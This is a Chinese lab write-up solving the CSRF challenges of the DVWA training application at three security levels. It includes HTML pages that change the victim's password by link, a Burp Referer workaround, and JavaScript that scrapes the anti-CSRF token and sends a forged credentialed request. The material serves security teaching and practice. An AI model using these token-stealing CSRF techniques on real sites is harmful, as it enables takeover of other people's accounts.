当前位置: 首页 > news >正文

w28DVWA-csrf实例

DVWA-csrf实例

low级别

修改密码:修改的密码通过get请求,暴露在url上。
在这里插入图片描述
写一个简单的html文件,里面伪装修改密码的文字,代码如下:

<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></body>
</html>

在这里插入图片描述

点击"dvwa-csrf-low"文字后,跳转到dvwa的修改密码界面,提示Password changed(密码已修改)。
在这里插入图片描述

middle级别

修改密码:修改的密码通过get请求,暴露在url上。
在这里插入图片描述
写一个简单的html文件,里面伪装修改密码的文字,代码如下:

<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-middle</a></body>
</html>

在这里插入图片描述
点击"dvwa-csrf-middle"文字后,跳转到dvwa的修改密码界面,提示the request didn’t look correct (请求不正确)。
在这里插入图片描述
查看源码发现,会校验http_referer和server_name两个参数不为空。
在这里插入图片描述
对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略
成功的请求
在这里插入图片描述
失败的请求
在这里插入图片描述
利用bp工具,补上referer的参数。
在这里插入图片描述

网上另外解法:修改host和referer为localhost或127.0.0.1,其实也是遵循同源策略。
在这里插入图片描述
在这里插入图片描述

high级别

修改密码:修改的密码通过get请求,暴露在url上,并且带上user_token。
在这里插入图片描述

写一个简单的html文件,里面伪装修改密码的文字,代码如下:

<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-middle</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change&user_token=96f6243c53766d30d5e51cf92c15f9a3#">dvwa-csrf-high</a></body>
</html>

在这里插入图片描述
点击"dvwa-csrf-high"文字后,跳转到dvwa的修改密码界面,提示csrf token is incorrect (csrf的token错误)。

在这里插入图片描述

对比成功的请求与失败的请求,发现失败的请求缺失了referer,referer用来表示从哪个页面链接到当前的网页。用于浏览器的同源策略
成功的请求
在这里插入图片描述
失败的请求
在这里插入图片描述
利用bp工具,补上referer的参数。结果还是失败。因此查看源码,#1这行有进行token的校验。#2这行进行token生成,大致可以分析出token生成后一次性校验,跟验证码同理。

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF token  #1checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF token  #2
generateSessionToken();?>

基于分析出的结论,要构建一个新请求,先调用#2,再调用修改密码的请求,此时为了避免跨域问题。将写好的html直接放到dvwa下。

<html><body><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-low</a></br><a href="http://dvwa:7001/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">dvwa-csrf-middle</a></br><a  href="javascript:void(0);" onclick="initJS()">dvwa-csrf-high</a></body><script >function initJS(){var theUrl = 'http://dvwa:7001/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);var token = match[1];var new_url = 'http://dvwa:7001/vulnerabilities/csrf/?user_token='+token+'&password_new=1&password_conf=1&Change=Change';if(count==0){count++;//此代码用于只执行一次修改密码xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();}</script>
</html>

在这里插入图片描述
用新密码可以成功登录,通关结束。

相关文章:

w28DVWA-csrf实例

DVWA-csrf实例 low级别 修改密码&#xff1a;修改的密码通过get请求&#xff0c;暴露在url上。 写一个简单的html文件&#xff0c;里面伪装修改密码的文字&#xff0c;代码如下&#xff1a; <html><body><a href"http://dvwa:7001/vulnerabilities/csr…...

子网络划分与互通,上网行为审计

网络环境需求:在办公网络环境中,由于公司部门的划分,以及服务器、电脑、手机等设备类型,一般都需要划分多个网段,便于进行网络管理,并提升网络通信效率。各个子网段管理员控制设备的接入,子网段之间需要进行局域网通信,发送消息和文件,通常使用飞秋。服务器网段,禁止…...

如何快速删除node_module依赖包

利用npm&#xff1a;输入 npm install rimraf -g rimraf node_modules...

async/await 的用法

一、async和await定义 async 是异步的意思&#xff0c;而 await 是等待的意思&#xff0c;await 用于等待一个异步任务执行完成的结果。 1.async/await 是一种编写异步代码的新方法&#xff08;以前是采用回调和 promise&#xff09;。 2. async/await 是建立在 promise 的基础…...

JAVA面试汇总总结更新中ing

本人面试积累面试题 基础RocketMQSpring登录技能操作线程事务微服务JVMKAFKAMYSQLRedislinux 基础 1.面向对象的三个特征 封装&#xff0c;继承&#xff0c;多态&#xff0c;有时候也会加上抽象。 2.多态的好处 允许不同类对象对同一消息做出响应&#xff0c;即同一消息可以根…...

vue-利用属性(v-if)控制表单(el-form-item)显示/隐藏

表单控制属性 v-if 示例&#xff1a; 通过switch组件作为开关&#xff0c;控制表单的显示与隐藏 <el-form-item label"创建数据集"><el-switch v-model"selectFormVisible"></el-switch></el-form-item><el-form-item label&…...

数据结构-邻接矩阵

介绍 邻接矩阵&#xff0c;是表示图的一种常见方式&#xff0c;具体表现为一个记录了各顶点连接情况的呈正方形的矩阵。 假设一共有以下顶点&#xff0c;其连接关系如图所示 那么&#xff0c;怎么表示它们之间的连接关系呢&#xff1f; 我们发现&#xff0c;各条边所连接的都…...

基于CNN-GRU-Attention的时间序列回归预测matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 4.1 CNN&#xff08;卷积神经网络&#xff09;部分 4.2 GRU&#xff08;门控循环单元&#xff09;部分 4.3 Attention机制部分 5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版…...

Docker部署Halo容器并结合内网穿透实现公网访问本地个人博客

文章目录 1. Docker部署Halo1.1 检查Docker版本如果未安装Docker可参考已安装Docker步骤&#xff1a;1.2 在Docker中部署Halo 2. Linux安装Cpolar2.1 打开服务器防火墙2.2 安装cpolar内网穿透 3. 配置Halo个人博客公网地址4. 固定Halo公网地址 本文主要介绍如何在CentOS 7系统使…...

纯css实现文字左右循环滚动播放效果

思路&#xff1a;由两个span模块组成&#xff0c;第一个为空的span内容&#xff0c;为的是实现第二个span内容缓慢出现的效果。 代码如下&#xff1a; <div class"scrollingStyle"><span class"first-marquee"></span><span class&q…...

【Java EE初阶二十二】https的简单理解

1. 初识https 当前网络上,主要都是 HTTPS 了,很少能见到 HTTP.实际上 HTTPS 也是基于 HTTP.只不过 HTTPS 在 HTTP 的基础之上, 引入了"加密"机制&#xff1b;引入 HTTPS 防止你的数据被黑客篡改 &#xff1b; HTTPS 就是一个重要的保护措施.之所以能够安全, 最关键的…...

系统学习Python——装饰器:类装饰器-[跟踪对象接口:基础知识]

分类目录&#xff1a;《系统学习Python》总目录 文章《系统学习Python——装饰器&#xff1a;类装饰器-[单例类&#xff1a;基础知识]》的单例示例阐明了如何使用类装饰器来管理一个类的所有实例。类装饰器的另一个常用场景是为每个生成的实例扩展接口。类装饰器基本上可以在实…...

go-redis 使用 redis 6.0.14 版本错误: consider implementing encoding.BinaryMarshaler

使用方法 err : bp.data.redis.Get(ctx, policyKey).Scan(&result)起初在 redis 5.x.x 版本并没有遇到错误&#xff0c;但是在切换 redis 实例之后就出现了错误&#xff08;他们之间只是版本不同&#xff09;。 修复方法 看错误日志的描述&#xff0c;大概含义就是需要我们…...

计网 - 域名解析的工作流程

文章目录 Pre引言1. DNS是什么2. 域名结构3. 域名解析的工作流程4. 常见的DNS记录类型5. DNS安全6. 未来的发展趋势 Pre 计网 - DNS 域名解析系统 引言 在我们日常使用互联网时&#xff0c;经常会输入各种域名来访问网站、发送电子邮件或连接其他网络服务。然而&#xff0c;我…...

普中51单片机学习(EEPROM)

EEPROM IIC串行总线的组成及工作原理 I2C总线的数据传送 数据位的有效性规定 I2C总线进行数据传送时&#xff0c;时钟信号为高电平期间&#xff0c;数据线上的数据必须保持稳定&#xff0c;只有在时钟线上的信号为低电平期间&#xff0c;数据线上的高电平或低电平状态才允许…...

智能风控体系之供应链业务模式

供应链金融是一种针对中小企业的新型融资模式&#xff0c;将资金流有效整合到供应链管理的过程中&#xff0c;既为供应链各环节企业提供贸易资金服务&#xff0c;又为供应链弱势企业提供新型贷款融资服务&#xff0c;以核心客户为依托&#xff0c;以真实贸易背景为前提&#xf…...

最少停车数(C 语言)

题目描述 特定大小的停车场&#xff0c;数组cars[]表示&#xff0c;其中1表示有车&#xff0c;0表示没车。车辆大小不一&#xff0c;小车占一个车位&#xff08;长度1&#xff09;&#xff0c;货车占两个车位&#xff08;长度2&#xff09;&#xff0c;卡车占三个车位&#xf…...

MAC M1安装vmware和centos7虚拟机并配置静态ip

一、下载vmware和centos7镜像 1、VMWare Fusion 官网的下载地址是&#xff1a;下载地址 下载好之后注册需要秘钥&#xff0c;在官网注册后使用免费的个人秘钥 2、centos7 下载地址&#xff1a; https://biosyxh.cn:5001/sharing/pAlcCGNJf 二、虚拟机安装 直接将下…...

java 课程签到管理系统Myeclipse开发mysql数据库web结构jsp编程servlet计算机网页项目

一、源码特点 java 课程签到管理系统是一套完善的java web信息管理系统 采用serlvetdaobean&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用B/S模式开发。开发环境为TOMCAT7.0,Myeclipse8.5开发&#xff0…...

Linux——网络通信TCP通信常用的接口和tcp服务demo

文章目录 TCP通信所需要的套接字socket()bind()listen()acceptconnect() 封装TCP socket TCP通信所需要的套接字 socket() socket()函数主要作用是返回一个描述符&#xff0c;他的作用就是打开一个网络通讯端口&#xff0c;返回的这个描述符其实就可以理解为一个文件描述符&a…...

OpenClaw+nanobot备份方案:自动化配置与数据同步

OpenClawnanobot备份方案&#xff1a;自动化配置与数据同步 1. 为什么需要备份nanobot环境 上周我的开发机突然硬盘故障&#xff0c;导致辛苦配置了两个月的nanobot环境全部丢失。那一刻我才深刻意识到&#xff0c;对于这种高度定制化的AI自动化系统&#xff0c;没有备份方案…...

别再死记公式了!用Python的SymPy库5分钟搞定雅可比矩阵计算(附机器人学实例)

用SymPy解放双手&#xff1a;5分钟完成雅可比矩阵的符号计算与机器人学应用 记得研究生时期推导机械臂动力学方程&#xff0c;我曾在草稿纸上密密麻麻写满三页偏导数&#xff0c;最后发现一个正负号错误导致全部重算。直到遇见SymPy——这个Python符号计算库彻底改变了我的工作…...

低成本搭建DNF外网服务器:腾讯云轻量应用服务器实战教程

腾讯云轻量应用服务器搭建DNF外网版全攻略 最近几年&#xff0c;怀旧游戏私服搭建在技术爱好者圈子里越来越流行。作为一款经典的横版格斗网游&#xff0c;DNF&#xff08;地下城与勇士&#xff09;的私服搭建需求尤其旺盛。本文将详细介绍如何利用腾讯云轻量应用服务器&#x…...

微信群消息监控系统进阶:如何用dataclass优化配置管理并实现热更新

微信群消息监控系统进阶&#xff1a;如何用dataclass优化配置管理并实现热更新 在开发长期运行的微信消息监控系统时&#xff0c;配置管理往往是后期维护的痛点。许多开发者初期会选择简单的字典或JSON文件存储配置&#xff0c;但随着功能迭代&#xff0c;硬编码的配置项、散落…...

5分钟从零到完整:用SongGeneration开启你的AI音乐创作之旅

5分钟从零到完整&#xff1a;用SongGeneration开启你的AI音乐创作之旅 【免费下载链接】SongGeneration 腾讯开源SongGeneration项目&#xff0c;基于LeVo架构实现高品质AI歌曲生成。它采用混合音轨与双轨并行建模技术&#xff0c;既能融合人声与伴奏达到和谐统一&#xff0c;也…...

量化模型实测:百川2-13B-4bits在OpenClaw复杂任务中的精度损失

量化模型实测&#xff1a;百川2-13B-4bits在OpenClaw复杂任务中的精度损失 1. 测试背景与实验设计 去年在部署本地AI助手时&#xff0c;我遇到一个现实矛盾&#xff1a;大模型的能力与硬件成本难以兼得。当尝试用OpenClaw实现自动化办公流程时&#xff0c;发现13B参数的百川原…...

从Java转行大模型应用,Advanced-RAG 学习

一、RAG 进阶概述&#xff08;Advanced-RAG&#xff09;基础RAG&#xff08;检索增强生成&#xff09;核心是“检索生成”的两阶段流程&#xff0c;解决大模型“幻觉”和知识时效性问题&#xff0c;但在复杂场景&#xff08;长文档、模糊查询、高精准需求&#xff09;中存在检索…...

【分箱基础篇】pandas 分箱双子星:pd.cut 与 pd.qcut

进阶篇参考&#xff1a;【分箱进阶篇】分箱的工程细节&#xff1a;从训练到部署的完整模式 拿到一列连续数值&#xff1a;年龄、收入、交易金额等&#xff0c;第一步常常是分箱&#xff0c;也就是把连续值映射到几个离散区间。pandas 提供了两个内置函数干这件事&#xff1a;pd…...

智能家居选遥控器?RF 2.4G vs 蓝牙 vs IR 保姆级对比指南

智能家居遥控技术终极对决&#xff1a;RF 2.4G vs 蓝牙 vs IR 深度解析 当你深夜躺在沙发上想调暗灯光&#xff0c;却发现必须起身对准空调才能操作——这种尴尬正是选错遥控技术的代价。智能家居的"最后一米"控制体验&#xff0c;往往取决于那只看不见的传输协议。本…...

【Java 25向量API工业落地白皮书】:20年JVM专家亲授4大高并发场景实战代码(含SIMD加速性能实测数据)

第一章&#xff1a;Java 25向量API工业落地全景概览Java 25正式将Vector API&#xff08;JEP 478&#xff09;升级为标准特性&#xff0c;标志着JVM在高性能数值计算领域迈入新阶段。该API通过泛型向量类型&#xff08;如Vector<Double>&#xff09;、跨平台掩码操作与自…...